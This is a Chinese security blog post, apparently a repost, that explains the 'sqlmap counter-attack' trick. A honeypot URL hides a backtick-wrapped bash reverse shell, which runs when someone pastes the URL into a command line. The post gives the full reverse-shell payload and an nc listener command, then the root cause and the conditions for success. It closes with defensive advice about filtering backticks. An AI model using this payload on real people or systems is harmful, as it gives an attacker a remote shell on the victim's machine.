Sqlmap 反制 ???
2023-12-25 09:49:25 Author: mp.weixin.qq.com(查看原文) 阅读量:7 收藏

最近看了一篇文章讲 Sqlmap 反制脚本小子,今天我们一起来探讨一下成功反制的前提条件,首先我们来回顾一下如何反制脚本小子。

复现过程

1、在远程 VPS 启动一个 NC 监听,用来接收反弹回来的 Shell

nc -vv -l -p 8080

2、在蜜罐网站或者自己的真实网站,创建一个用于反制的链接:

https://vuln.xazlsec.com/sqlinject.php?id=1&search=`bash -i >& /dev/tcp/10.10.10.11/443 0>&1`

将远程 VPS 的 IP 地址替换上面接口中的 10.10.10.11 ,接下来拼接 sqlmap 的命令:

python3 sqlmap.py -u "https://vuln.xazlsec.com/sqlinject.php?id=1&search=`bash -i >& /dev/tcp/10.10.10.11/443 0>&1`" 

在 linux 下执行该命令后,程序会卡死,没有任何反馈,如图 :

无论目标系统是否安装了 sqlmap 都可以执行该命令,随后在监听的服务器,获得执行 sqlmap 命令的 shell:

自此整个过程就结束了。

分析原理

1、核心是利用命令行中的倒引号,在 unix 类系统,倒引号内的内容会被当作命令执行,比如:

2、整个过程其实跟 Sqlmap 一点关系都没有,因为整个命令执行根本就没用到 Sqlmap,所以即使目标系统是否安装了 Sqlmap 都能成功能行反弹命令。所以,只要是将该接口原封不动的被当作参数带入任意命令行程序,都会出现这样的问题。

利用条件

关于这个反制效果想要最终达成,需要满足以下几个条件:

1、执行 sqlmap 的系统是 unix 操作系统,比如常见的 Linux 系统、mac 系统等

2、脚本小子不认识 sqlmap 命令中 bash -i >& /dev/tcp/10.10.10.11/443 0>&1,在执行 sqlmap 的时候,将接口的所有信息均复制到参数中;或者有些大佬在实现自动化漏洞探测的时候,通过爬虫获取的接口,额外调用 sqlmap 做进一步漏洞检测时,可能触发。

总结

1、这个问题非要跟 Sqlmap 绑定,其实跟 Sqlmap 并没有太大关系,可以是任意命令行程序,比如针对接口做其他漏洞探测

2、想要避免这个问题,最简单的方式就是将接口的参数内容统一过滤掉再带入命令行,或者直接过滤其中的倒引号

3、在做漏洞复现的时候,看清楚接口的内容,即使是脚本小子,也不会轻易上当

4、整个过程其实就是利用了操作系统的特性,特定环境下可以当作命令来执行


文章来源: https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247498907&idx=1&sn=9782881e628dd8aa289b79688bfb32df&chksm=ec1dccb3db6a45a5e325b34088d81d7f38ddcd6bd99ec0666195bff1a1423b2a3ec5c599032f&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh